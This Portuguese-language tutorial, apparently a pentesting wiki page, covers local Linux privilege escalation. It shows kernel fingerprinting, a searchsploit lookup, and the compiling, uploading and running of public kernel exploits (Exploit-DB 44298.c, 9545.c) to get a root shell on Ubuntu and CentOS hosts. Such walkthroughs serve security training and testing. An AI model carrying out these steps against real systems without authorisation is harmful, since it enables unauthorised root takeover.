Privilege Escalation

Escalação de privilégios

Este recurso é muito importante num cenário de pós exploração, quando você já conseguiu acesso shell ao host, mas com permissões de usuário limitado. Abaixo faremos algumas PoC's (provas de coneceito) para demonstrar formas de escalar privilégios.

Pulo do gato: antes de compilar um binário em qualquer linguagem, certifique-se de descobrir se o host alvo do ataque possui arquitetura 32bits ou 64bits.

POC | privilege escalation Kernel Ubuntu

Antes de mais nada, vamos descobrir a versão do kernel:

$ uname -a
Linux srvecommerce 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Agora vamos procurar algum exploit compatível que possa ter efeito no kernel 4.4.0-62

$ searchsploit linux kernel 4.4.0
-------------------------------------------------------------------------------
Exploit Title                                            |  Path
-------------------------------------------------------------------------------
Linux Kernel < 4.4.0-116 - Local Privilege Escalation    | linux/local/44298.c
-------------------------------------------------------------------------------

Repare que o Exploit em questão foi escrito na linguagem C, portanto, preciso compilar adequadamente:

$ gcc /usr/share/exploitdb/exploits/linux/local/44298.c -o exploit

O comando acima vai gerar um arquivo binário devidamente compilado e pronto para uso.

Basta fazer upload do arquivo malicioso para a máquina alvo, dar permissões de execução e rodar:

$ chmod 777 exploit
$ chmod +x exploit
./exploit 

Agora já tenho privilégio escalado e posso rodar comandos como root do sistema:

root@servidor:/var/tmp# whoami 
root

POC | privilege escalation Kernel CentOS

Antes de mais nada, vamos checar a versão do SO e também a versão do kernel:

$ cat /etc/issue*
CentOS release 4.8 (Final)
$ uname -a
Linux server 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686 i686 i386 GNU/Linux

Ao dar uma rápida pesquisada no google, encontrei um exploit interessante.

Minha pesquisa:

centos 4 2.6.9-89.EL kernel priv escalation

Resultado:

Bastou olhar o código fonte do exploit para saber que ele é efetivo contra o CentOS 4.8 (2.6.9-89.EL)

Como o nosso alvo é um linux 32bits, mas meu kali é 64bits, preciso instalar as bibliotecas adequadas antes de proceder com a compilação:

# sudo apt-get install gcc-multilib

Agora posso compilar e conferir se de fato gerou um binário 32bits:

# gcc -pthread -m32 -Wl,--hash-style=both 9545.c -o exploit
# file exploit
ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=aae2cef93da9bceaa18d0e9f635dec87260cfa19, for GNU/Linux 3.2.0, not stripped

Até aqui tudo certo. Agora basta fazer upload do arquivo chamado exploit para o host alvo, dar permissões adequadas e rodar:

$ chmod 777 exploit
$ chmod +x exploit
$ ./exploit

Se tudo correr bem, o terminal vai escalar o privilégio e liberar uma shell com permissões de root:

root@servidor:/var/tmp# whoami 
root

Last updated